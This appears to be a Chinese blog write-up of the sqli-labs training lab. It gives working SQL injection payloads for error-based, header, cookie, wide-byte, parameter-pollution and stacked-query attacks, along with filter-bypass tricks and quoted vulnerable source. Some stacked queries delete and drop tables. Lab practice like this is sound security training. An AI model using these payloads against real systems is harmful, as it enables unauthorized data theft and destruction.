sqli-labs

Less-17

基于报错注入的加强版

测试注入点时发现无论如何都没反应,只出现上图情况,当用户名为‘ admin ’或‘ Dumb ’时任意密码登录

发现密码会被更新

既然是修改密码,后端一定存在update语句,修改的是password,猜测传入的password存在引号闭合

发现确实为'闭合

用报错注入查库,查表,查列,查数据

但是当要查表时出现下述问题

payload:

1
1'and updatexml(1, concat(0x7e, (select group_concat(username,id,password) from users)),1) #

查了一下才知道mysql修改和查询不能是同一张表

所以我们可以引入一个临时表

payload:

1
1'and updatexml(1, concat(0x7e, (select group_concat(username,id,password) from (select username,id,password from users) as ikun limit 0,1)),1) #

但是当我们用limit 1,1时,出现了问题,后来才意识到group_concat是将数据放到一行输出,不能与limit结合查询(只能查一行/部分)

我们进而用mid

payload:

1
1'and updatexml(1, concat(0x7e, mid((select group_concat(username,id,password) from (select username,id,password from users) as ikun ),1,21)),1)#

image-20250716204833369

也可以用concat_ws代替group_concat

payload:

1
1' and updatexml(1,concat(0x7e,(select concat_ws(':',username,id,password) from (select username,id,password from users) as ikun limit 1,1)),1)#

Less18

基于user-agent的http头注入

用admin登录看到user-agent的内容回显在页面中

先尝试用',出现报错信息,其包含ip和用户名(当然也有user-agent)

猜想在数据中的sql语句为:INSEERT INTO table VALUES('User-Agent','Ip','Username')

(当然我也是看了后端代码才知道的,因为缺乏经验哈哈哈)

')闭合

加个#,报错信息消失,说明为')闭合

接下来我们尝试在User-Agent的位置进行注入测试,我们修改User-Agnet的值使其符合整个INSERT INTIO 的语法

构造1',1,1)#形式进行报错注入

payload1:

1
1',1,extractvalue(0x0a,concat(0x0a,(select database()))))#

也可以构造'and ...and '#

payload2:

1
' and extractvalue(0x0a,concat(0x0a,(select database()))) and '#

解释一下上述paylaod

插入语句中变成:

1
'' and extractvalue(...) and '#'

这是一个合法的布尔表达式,MySQL会自动将它的最终值转换为·字符串插入到表中

''=true

extractvalue(...) 返回字符串(我们在乎的是它会抛出错误)

’#'=true(#不是起注释作用)

最终变成:

1
INSERT INTO table VALUES(<表达式结果>, 'Ip', 'Username');

Less20

基于Cookie的http头注入

用admin登录后出现以下界面

1
Cookie:uname=admin

Cookie这里存在注入点

尝试用'进行闭合,出现语法报错,加#后页面正常,说明闭合方式为',看到页面有3个可能的回显点,我先尝试一下联合查询注入

先判断出有3列

再找出回显位

最后用正常方法即可得到数据

Less23

注释符全被过滤掉了

单引号闭合时报错

加上注释符时报错未消失

猜测注释符可能被过滤掉了(尝试编码绕过也不行)

过滤了注释符并不能影响我们的注入,可以使用两个单引号分别闭合两侧的 Sql 查询语句,同时需要使用 OR 运算符分割并构造恒真语句

payload:

1
?id=1' or '1'='1

image-20250718100819405

成功力!

这样就可以开始查询数据库了

payload:

1
2
3
?id=1'and updatexml(1,concat(1,(select database())),1) or '1'='1
# 或者用and '闭合后面的引号也行(这里是报错注入所以就不用太在意and、or逻辑关系)
?id=1' and extractvalue(1,concat(1,(select database()))) and '

image-20250718101146015

Less26

过滤了and、or、空格、注释符

and、or可以通过双写绕过,注释符过滤绕过可以通过闭合后引号解决

测试闭合方式(请教了土豆学长才知道)

先用

1
1'anandd'1'='1

再用

1
1'anandd'1'='2

若网页回显不同说明是单引号闭合

空格过滤我尝试了url编码、/**/绕过发现行不通

去网上捣鼓一番,收获颇丰!

如果空格被过滤可以使用以下字符替代

1
%09(制表符), %0a(换行), %0b(垂直制表符), %0d(回车), %a0(不间断空格),%0c(换页符),%20(空格),/**/(内联注释)

我发现还可以用()进行绕过

payload:

1
?id=1'anandd(extractvalue(1,concat(1,(select(database())))))oorr'1'='1

还有个神仙做法:

使用 “||” 替代 “or”

payload:

1
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1))||'1'='1

Less27a

过滤了select、union、空格、注释符

双引号闭合

没有语法报错,不能用报错注入,我们选择联合查询注入

由于-被过滤,我们选一个较大的数

接下去正常绕过查询

Less29

单引号闭合,http参数污染

这里应该是我的靶场出了点问题,竟然没过滤(都是Protected By The World’s Best Firewall,但是可以正常查询)

去看了题目的源码,发现还有login.phphacked.php代码

只能手动进入login.php

image-20250719114627717

测试了下单引号双引号闭合,都跳转到hacked.php

image-20250719114553014

看了下login.php

WAF白名单函数whitelist($input)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}

其中:

1
$match = preg_match("/^\d+$/", $input);

/^\d+$/ 的含义:

  • ^:字符串开头
  • \d+:至少一个数字
  • $:字符串结尾

整个正则要求 输入必须是全数字组成

1
header('Location: hacked.php')

重定向到hacked.php

HTTP 参数污染(HPP) 行为模拟 java_implimentation($query_string)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);

foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}

该方法将 GET 读入的整行参数使用 explode() 方法对 “&” 进行分割,返回一个分割后的数组。接着方法通过 substr() 方法提取对 “&” 分割后的第一个元素的前 2 个字符,若这 2 个字符是 “id”,则再次使用 substr() 方法提取等号后面的值返回。注意该方法提取的是 2 个同名变量中的第一个,因此它无法对第二个同名变量进行操作

结合网页给的pdf(这个我打不开,嫖了一下土豆哥的)

img

可以看到搭建在apache服务器上的php服务对于传入多个相同名字的参数,服务器只解析最后一个,由于注入 2 个同名参数时,java_implimentation() 方法返回的参数是第一个 id 参数,此时这个过滤就被我们绕过了,所以$_GET['id']变量实际上是最后一个id参数

总结:

1.全数字输入才能绕过WAF

2.我们可以通过注入两个同名的参数 id,第一个参数用于绕过 WAF,第二个参数用于注入

payload:

1
?id=1&id=-1'union select 1,2,3--+

image-20250719114742887

Less32

宽字节注入

输入'发现其被转义

查看源码:

1
2
3
4
5
6
7
8
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backsla

return $string;
}

该函数使用正则表达式匹配字符,将 ' 转义为 \' , 将 \ 转义为 \\ ,将 " 转义为 \"

在Less36中采取:

1
2
3
4
5
function check_quotes($string)
{
$string = mysql_real_escape_string($string);
return $string;
}

使用mysql_real_escape_string()函数来转义特殊字符

对于一般的转义字符,我们是无法构造注入的 payload 的,通常情况下不存在SQL注入,但这并不代表网页就没有任何漏洞可以注入

我们注意到数据库采用gbk编码:

1
2
3
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

这里尝试采用宽字节注入:

数据库的编码采用 GBK 国标码时,虽然单引号还是会加上反斜杠从而被转义,但是 “%df” 会和反斜杠的 URL 编码 “%5C” 闭合,从而构成 GBK 国标码中的汉字“連”,使得用于转义的反斜杠被我们“吃掉”了

输入%df'时成功返回错误信息,加--+页面正常,绕过成功

我们采用联合查询注入,但需要注意的是:

不要使用单引号来闭合字符串,改用十六进制 (HEX) 编码(网页有提示)替代所需数据库名、表名

如以下使用0x7365637572697479替代security

Less38

单引号闭合,这题主要用来测试堆叠注入

在源码中发现:

1
mysqli_multi_query($con1, $sql)

该函数可以执行多个 MySQL 语句。之前的 Less 使用的是 mysql_query() 函数,只执行一条 MySQL 查询

插入新用户ikun:

查询id为999的用户:

堆叠注入:

1
2
3
4
?id=1;CREATE TABLE WhiteMoon LIKE users;--+
?id=1;INSERT INTO WhiteMoon SELECT * FROM users;--+
?id=1;DELETE FROM WhiteMoon;--+
?id=1;DROP TABLE WhiteMoon;--+

猫猫🐱



© 2025 子非鲲 使用 Stellar 创建
共发表 44 篇 Blog · 总计 109.6k 字